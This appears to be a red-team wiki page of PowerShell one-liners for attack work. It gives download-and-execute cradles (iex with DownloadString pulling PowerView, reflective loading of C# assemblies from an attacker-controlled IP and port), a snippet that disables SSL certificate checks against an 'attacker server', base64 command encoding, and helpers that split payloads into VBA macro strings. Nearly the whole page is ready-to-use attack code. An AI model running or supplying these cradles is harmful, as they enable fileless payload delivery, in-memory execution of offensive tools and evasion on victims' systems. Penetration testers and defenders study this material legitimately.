> For the complete documentation index, see [llms.txt](https://www.xn--hy1b43d247a.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xn--hy1b43d247a.com/misc/powershell-oneliners.md).

# 파워쉘 원라이너 (oneliner)

Powershell load and invoke

```
iex(new-object net.webclient).downloadstring("<url>");<function>

iex(new-object net.webclient).downloadstring("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/situational_awareness/network/powerview.ps1");get-domainuser -spn
```

Ignore SSL error if attacker server uses https

```
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$a = (new-object net.webclient).downloadfile('<remote>','<localpath>')
```

C# Reflective loading

```
$a = (New-Object net.webclient).DownloadData('http://<ip>:<port>/<c#-file>')
$b = [System.Reflection.Assembly]::Load($a)
$b.EntryPoint.Invoke($null, [Object[]]@( ,[String[]]@()))
$b.EntryPoint.Invoke($null, [Object[]]@( ,[String[]]@("triage")))
$b.EntryPoint.Invoke($null, [Object[]]@( ,[String[]]@("<param>")))
$b.EntryPoint.Invoke($null, [Object[]]@(@(,([String[]]@()))))
```

PowerSharpPack style template

```
$a = (New-Object net.webclient).DownloadData('http://<ip>:<port>/<c#-file>')
$b = [System.Reflection.Assembly]::Load($a)
[<TOOLNAME>.<CLASS>]::main("")
```

C# Reflective loading main entrypoint - oneliner

```
([System.Reflection.Assembly]::Load((New-Object net.webclient).DownloadData('http://<ip>:<port>/<c#file>'))).EntryPoint.Invoke($null, [Object[]]@(@(,([String[]]@()))))
```

C# Reflective loading with Namespace + Classname + Function name - oneliner

```
[System.Reflection.Assembly]::Load((New-Object net.webclient).DownloadData('<location>')) | Out-Null; [<NameSpace>.<ClassName>]::<Function>(<params>)
```

base64 encoding

```
$command= ' something something ' 
$encodedCommand = [convert]::tobase64string([system.text.encoding]::unicode.getbytes($command))
powershell -en $encodedCommand 
```

VBA string formatter for powershell

```
$s = @'
< powershell payload > 
'@
 
<# Just copy/paste everything below! #>
$EncodedText =[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($s))  

$array = @()
[System.Collections.ArrayList]$ArrayList = $array
$EncodedText -split '(.{300})' | Where-Object {
    $ArrayList.Add($_) | out-null
}

foreach ($item in $ArrayList){
    if([string]::IsNullOrEmpty($item)){
        continue
    }
    else{
        if($item -eq $ArrayList[-1]){
            '"' + $item +'"' 
            break 
        }
        '"' + $item + '" & _'
    }
    
}
```

VBA string formatter for already base64 encoded powershell payload

```
$s = @'
< powershell payload > 
'@
 
<# Just copy/paste everything below! #>
#$EncodedText =[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($s))  

$EncodedText = $s

$array = @()
[System.Collections.ArrayList]$ArrayList = $array
$EncodedText -split '(.{300})' | Where-Object {
    $ArrayList.Add($_) | out-null
}

foreach ($item in $ArrayList){
    if([string]::IsNullOrEmpty($item)){
        continue
    }
    else{
        if($item -eq $ArrayList[-1]){
            '"' + $item +'"' 
            break 
        }
        '"' + $item + '" & _'
    }
}
```